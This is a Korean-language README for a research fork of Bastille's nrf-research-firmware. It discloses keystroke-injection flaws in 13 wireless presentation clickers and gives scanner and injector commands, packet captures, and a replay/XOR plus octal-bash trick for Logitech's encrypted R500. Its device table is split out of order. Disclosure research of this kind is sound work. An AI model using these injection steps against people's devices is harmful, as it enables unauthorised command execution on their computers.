
Keystroke injection vulnerabilities in wireless presentation clickers
RF 리버스 엔지니어링을 해보고 싶어서 프레젠테이션 클리커 몇 개를 주문하고 재미를 좀 봤습니다.
이 프로젝트는 nrf-research-firmware의 포크입니다(몇 년 전 Bastille에서 작성한 것입니다). 새로운 트랜시버/프로토콜 몇 가지에 대한 지원을 추가했고, 13가지 일반적인 프레젠테이션 클리커에 대한 키 입력 주입 PoC를 포함했습니다.
| 제조사 | 모델 | 프로토콜 | RFIC | 추가됨 |
|---|---|---|---|---|
| AmazonBasics | P-001 | AmazonBasics P-001 | nRF24 | 2019-04-20 |
| Canon | PR100-R | Canon PR100-R | PL1167 | 2019-04-20 |
| Funpick | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| AMERTEER | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| BEBONCOOL | D100 | HS304 | HS304 | 2019-04-20 |
| ESYWEN | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| Red Star Tech | PR-819 | HS304 | HS304 | 2019-04-20 |
| DinoFire | D06-DF-US | HS304 | HS304 | 2019-04-20 |
| TBBSC | DSIT-60 | TBBSC DSIT-60 | BK2451 | 2019-04-21 |
| Rii | Wireless Presenter | Rii Wireless Presenter | BK2451 |
이것은 R500에서 사용하는 표준 암호화 Logitech 키보드 프로토콜입니다. MouseJack 프로젝트의 일부로 Logitech Unifying 키보드에 대해 문서화한 "암호화된 키 입력 주입" 공격에 일부 취약합니다.
일부 취약하다고 말하는 이유는 모든 HID 스캔 코드가 허용되지 않기 때문입니다. 구체적으로, 동글이 호스트 컴퓨터로 패킷을 보낼 때 0x04-0x1D(A-Z)가 0x00으로 대체됩니다. 즉, 문자가 아닌 것은 무엇이든 주입할 수 있습니다. 또 다른 예외는 ctrl 키 조합이 문자를 포함하더라도 허용된다는 것입니다.
R500을 통한 효과적인 키 입력 주입은 약간의 창의력이 필요합니다.
대상이 bash 세션에 있다고 가정해 봅시다. bash에서는 문자를 8진수로 인코딩할 수 있으며, 대상이 실행하길 원하는 명령어의 문자를 8진수로 인코딩할 수 있습니다.
예를 들어 ping google.com은 $'\160\151\156\147' $'\147\157\157\147\154\145\056\143\157\155'로 인코딩됩니다. 이 문자열을 bash 세션에 보낸 다음 enter를 보내면 대상 머신에서 ping google.com 명령이 실행됩니다.
다음과 같이 nrf24-scanner를 사용하여 Logitech R500의 주소를 찾을 수 있습니다:
sudo ./tools/nrf24-scanner.py -c {2..74..3} -l
패킷은 대략 다음과 같은 형태여야 합니다:
[2019-04-21 13:11:52.507] 62 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 13:11:52.515] 62 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 13:11:52.523] 62 22 85:D1:9D:FE:07 00:D3:4D:6F:B6:1B:E6:05:A2:B4:8B:98:F9:C2:00:00:00:00:00:00:00:81
동글이 AES 카운터 증가를 강제하지 않기 때문에 패킷을 재전송(replay)할 수 있어 주입이 가능합니다. OTA로 전송되는 패킷은 AES 카운터 모드로 암호화된 USB HID 페이로드와 그 뒤에 오는 카운터로 구성됩니다. 프레젠테이션 클리커의 버튼을 누르면 키 다운 패킷과 키 업 패킷이 생성됩니다. 키 업 패킷은 모두 0으로 구성되어 있어, 재사용할 수 있는 깔끔한 키 자료를 제공하며 이를 자체 페이로드와 XOR하여 OTA로 보낼 수 있습니다.
버튼 누름을 수신하고 두 번째(키 업) 패킷을 추출한 다음 키 자료 참조로 자동 사용하는 과정을 자동화하는 것은 어렵지 않을 것입니다. 하지만 저는 게을러서, 먼저 직접 버튼 누름을 관찰해야 합니다. 그 모습은 다음과 같습니다:
[2019-04-21 16:02:56.451] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.459] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.468] 65 22 85:D1:9D:FE:07 00:D3:E6:7B:35:8C:BB:2C:7D:5B:8B:98:FA:76:00:00:00:00:00:00:00:B9
[2019-04-21 16:02:56.475] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.507] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.516] 65 22 85:D1:9D:FE:07 00:D3:99:D6:D3:8D:49:25:F5:4D:8B:98:FA:77:00:00:00:00:00:00:00:1A
[2019-04-21 16:02:56.524] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.532] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
두 번째 22바이트 패킷이 키 업 패킷입니다.
페이로드의 마지막 바이트를 제거하고 해당 문자열을 복사하여 logitech.py에 붙여넣어 KEYUP_REF를 교체하세요.
(KEYUP_REF를 업데이트하지 않으면 동작하지 않아야 하지만, 만약 동작한다면 알려주세요!)
특정 Logitech R500 동글(주소 85:D1:9D:FE:07)에 bash ping google.com 8진수 인코딩 키 입력 시퀀스를 주입합니다:
sudo ./tools/r500-injector.py -l -a 85:D1:9D:FE:07
이것은 R400/R800에서 사용하는 표준 비암호화 Logitech 프로토콜입니다.
다음과 같이 nrf24-scanner를 사용하여 Logitech R400/R800의 주소를 찾을 수 있습니다:
sudo ./tools/nrf24-scanner.py -c {2..74..3} -l
패킷은 대략 다음과 같은 형태여야 합니다:
[2019-04-21 12:58:43.466] 32 0 9D:9E:95:52:07
[2019-04-21 12:58:43.620] 32 10 9D:9E:95:52:07 00:C1:00:00:00:00:00:00:00:3F
특정 Logitech R400/R800 동글(주소 9D:9E:95:52:07)에 테스트 키 입력 시퀀스를 주입합니다:
sudo ./tools/preso-injector.py -l -f logitech -a 9D:9E:95:52:07
Rii Wireless Presenter(둥근 펜 모양)는 BK2451(아마 nRF24 클론으로 보임)을 기반으로 합니다. 자매 기기가 많다는 점에서 범용 프로토콜로 보이므로, 데이터를 더 확보한 후 이 프로토콜을 재분류할 가능성이 높습니다.
기능적으로 암호화되지 않은 무선 키보드이며, 키 입력 주입에 취약합니다.
Wireless Presenter(둥근 펜 모양)는 250Kb/s nRF24 Enhanced Shockburst(ACK 없는 것으로 보임)와 5바이트 주소를 사용합니다. 제가 테스트한 기기는 2425MHz에 머물러 있는 것으로 관찰되었지만, 일종의 주파수 적응 방식을 사용하는 것으로 보입니다. 실제로는 키 입력 패킷을 보내기 전에 대상 채널에 더미 패킷을 몇 개 보내야 합니다.
특성화하지 못한 채널 호핑이 있을 것으로 의심되지만, 단일 채널을 대상으로 해도 키 입력 주입을 입증하기에는 충분합니다.
다음과 같이 nrf24-scanner를 사용하여 Wireless Presenter(둥근 펜 모양)의 주소를 찾을 수 있습니다:
sudo ./tools/nrf24-scanner.py -c 25 -l -R 250K -A 5
참고: 사용자의 기기는 다른 채널에 있을 수 있습니다.
패킷은 대략 다음과 같은 형태여야 합니다:
[2019-04-21 11:50:33.116] 25 3 6D:8C:01:14:25 4B:51:00
[2019-04-21 11:50:33.212] 25 3 6D:8C:01:14:25 4C:00:00
[2019-04-21 11:50:33.522] 25 3 6D:8C:01:14:25 4D:51:00
[2019-04-21 11:50:33.565] 25 3 6D:8C:01:14:25 4E:00:00
특정 Rii 동글(주소 6D:8C:01:14:25)에 테스트 키 입력 시퀀스를 주입합니다:
sudo ./tools/preso-injector.py -l -f rii -a 6D:8C:01:14:25
TBBSC DSIT-60은 BK2451(아마 nRF24 클론으로 보임)을 기반으로 합니다. 테스트하지 않은 자매 기기(예: 이 제품)가 분명히 있습니다. 현재로서는 별개의 프로토콜로 분류하고 있지만, 자매 기기를 테스트하면 변경될 가능성이 높습니다.
기능적으로 암호화되지 않은 무선 키보드이며, 키 입력 주입에 취약합니다.
DSIT-60은 3바이트 주소와 함께 250Kb/s nRF24 Enhanced Shockburst(또는 적어도 OTA 상 동일한 방식)를 사용합니다. 제가 테스트한 기기는 2406MHz에 머물러 있는 것으로 관찰되었지만, 다른 채널을 사용할 수 있는지는 확실하지 않습니다.
다음과 같이 nrf24-scanner를 사용하여 DSIT-60의 주소를 찾을 수 있습니다:
sudo ./tools/nrf24-scanner.py -c 6 -l -R 250K -A 3
참고: 사용자의 기기는 다른 채널에 있을 수 있고, 제가 관찰하지 못한 주파수 적응 재튜닝이 있을 수도 있습니다.
패킷은 대략 다음과 같은 형태여야 합니다:
[2019-04-21 10:33:44.264] 6 4 87:02:09 0B:42:00:2B
[2019-04-21 10:33:44.269] 6 4 87:02:09 0B:42:00:2B
[2019-04-21 10:33:52.477] 6 4 87:02:09 01:42:00:28
특정 TBBSC DSIT-60 동글(주소 87:02:09)에 테스트 키 입력 시퀀스를 주입합니다:
sudo ./tools/preso-injector.py -l -f tbbsc -a 87:02:09
이것은 거의 확실히 범용 프로토콜이지만, 아직 자매 기기(예: 이 제품)를 살펴보지 않았습니다. 현재로서는 별개의 프로토콜로 분류하고 있지만, 자매 기기를 테스트하면 변경될 가능성이 높습니다.
P-001은 nRF24 RFIC 제품군을 기반으로 하며, 기능적으로 암호화되지 않은 무선 키보드로 키 입력 주입에 취약합니다.
P-001은 5바이트 주소와 함께 2Mb/s nRF24 Enhanced Shockburst를 사용하며, 채널은 2402-2476입니다.
nrf24-scanner.py를 사용하여 P-001의 주소를 찾을 수 있습니다.
오른쪽 화살표를 누르면 대략 다음과 같은 패킷이 생성됩니다:
[2019-04-20 12:59:13.908] 27 9 44:CB:66:A3:BE 00:00:00:00:00:00:00:00:01
[2019-04-20 12:59:13.909] 27 9 44:CB:66:A3:BE 00:00:00:00:00:00:00:00:01
[2019-04-20 12:59:13.999] 27 9 44:CB:66:A3:BE 00:00:4E:00:00:00:00:00:01
[2019-04-20 12:59:14.120] 27 9 44:CB:66:A3:BE 00:00:00:00:00:00:00:00:01
[2019-04-20 12:59:14.121] 27 9 44:CB:66:A3:BE 00:00:00:00:00:00:00:00:01
[2019-04-20 12:59:14.211] 27 9 44:CB:66:A3:BE 00:00:4E:00:00:00:00:00:01
특정 AmazonBasics P-001 동글(주소 44:CB:66:A3:BE)에 테스트 키 입력 시퀀스를 주입합니다:
sudo ./tools/preso-injector.py -l -f amazon -a 44:CB:66:A3:BE
이 프로토콜이 Canon PR100-R에만 고유한지 확실하지 않지만, 이 프로토콜을 사용하는 유일한 기기로 관찰되었기 때문에 데이터가 다른 것을 시사할 때까지 별도 분류로 남겨둡니다.
PR100-R은 PL1167 RFIC와 알 수 없는 MCU를 기반으로 합니다.
PR100-R은 기능적으로 암호화되지 않은 무선 키보드이며, 키 입력 주입에 취약합니다.
PR100-R은 2406MHz에서 2481MHz 사이에서 5MHz 간격의 채널로 동작하는 1Mb/s FSK 프로토콜을 사용합니다.
패킷은 화이트닝되며 16비트 CRC로 보호됩니다.
동글에서 ACK가 다시 전송되지는 않는 것으로 보입니다. 단, 저는 키 입력 주입을 입증할 수 있을 만큼만 이 프로토콜을 리버스 엔지니어링했다는 점을 유의하세요.
이 프로토콜은 채널 선택에 주파수 적응 방식을 사용하는 것으로 보이며, 리모컨이 특정 채널에서 일정 수의 패킷을 전송한 후 동글이 해당 채널에 고정됩니다. 실제로는 키 입력 패킷을 전송하기 전에 몇 초간 더미 패킷을 전송하는 것만으로 충분합니다.
패킷 형식만으로는 이 프로토콜이 고정 동기 워드를 사용하는지, 기기별 주소를 사용하는지 명확하지 않습니다. 높은 가격 때문에 단일 장치만 살펴보았기 때문에 패킷 형식을 완전히 검증할 수는 없었습니다.
주입 스크립트는 제 PR100-R에서는 작동하지만, 일반적인 사용을 위해서는 수정이 필요할 수 있습니다. 다른 PR100-R이 있어 이를 검증할 수 있다면 알려주세요!
근처의 Canon PR100-R 동글에 테스트 키 입력 시퀀스를 주입합니다:
sudo ./tools/preso-injector.py -l -f canon
HS304는 프레젠테이션 클리커(또는 무선 키보드/마우스)를 위한 특정 용도의 RFIC로 보입니다. 이름은 USB 장치 문자열 HAS HS304에서 유래했으며, 이 세트의 모든 기기에서 동일했습니다.
RFIC는 표시가 없는 SOP-16 패키지로 관찰되었으며, 제조사 간 명백한 차이는 없었습니다.
HS304 기반 기기는 기능적으로 암호화되지 않은 무선 키보드이며, 키 입력 주입에 취약합니다.
HS304는 2.4GHz ISM 대역의 세 채널(2407, 2433, 2463)에서 동작하는 1Mb/s FSK 프로토콜입니다. 동글에서 프레젠테이션 클리커로 ACK가 전송되지는 않는 것으로 보이며, 각 패킷을 세 채널 각각에서 전송하여 패킷 전달을 보장합니다.
실제로는 단일 채널에서 각 패킷을 여러 번 전송해도 안정적인 패킷 전달을 달성할 수 있습니다.
패킷은 화이트닝되며 16비트 CRC로 보호됩니다.
주소 지정이나 페어링 방식이 없으므로 키 입력 주입에 기기 검색이 필요하지 않습니다. 그러나 ACK가 없기 때문에 동글의 능동적 검색은 불가능합니다.
근처의 HS304 동글에 테스트 키 입력 시퀀스를 주입합니다:
sudo ./tools/preso-injector.py -l -f hs304
근처의 NS304 프레젠테이션 클리커에서 전송된 패킷을 수신하고 디코딩합니다:
sudo ./tools/preso-scanner.py -l -f hs304
| 2019-04-21 |
| Logitech | R400 | Logitech Unencrypted | nRF24 | 2019-04-21 |
| Logitech | R800 | Logitech Unencrypted | nRF24 | 2019-04-21 |
| Logitech | R500 | Logitech Encrypted | nRF24 | 2019-04-21 |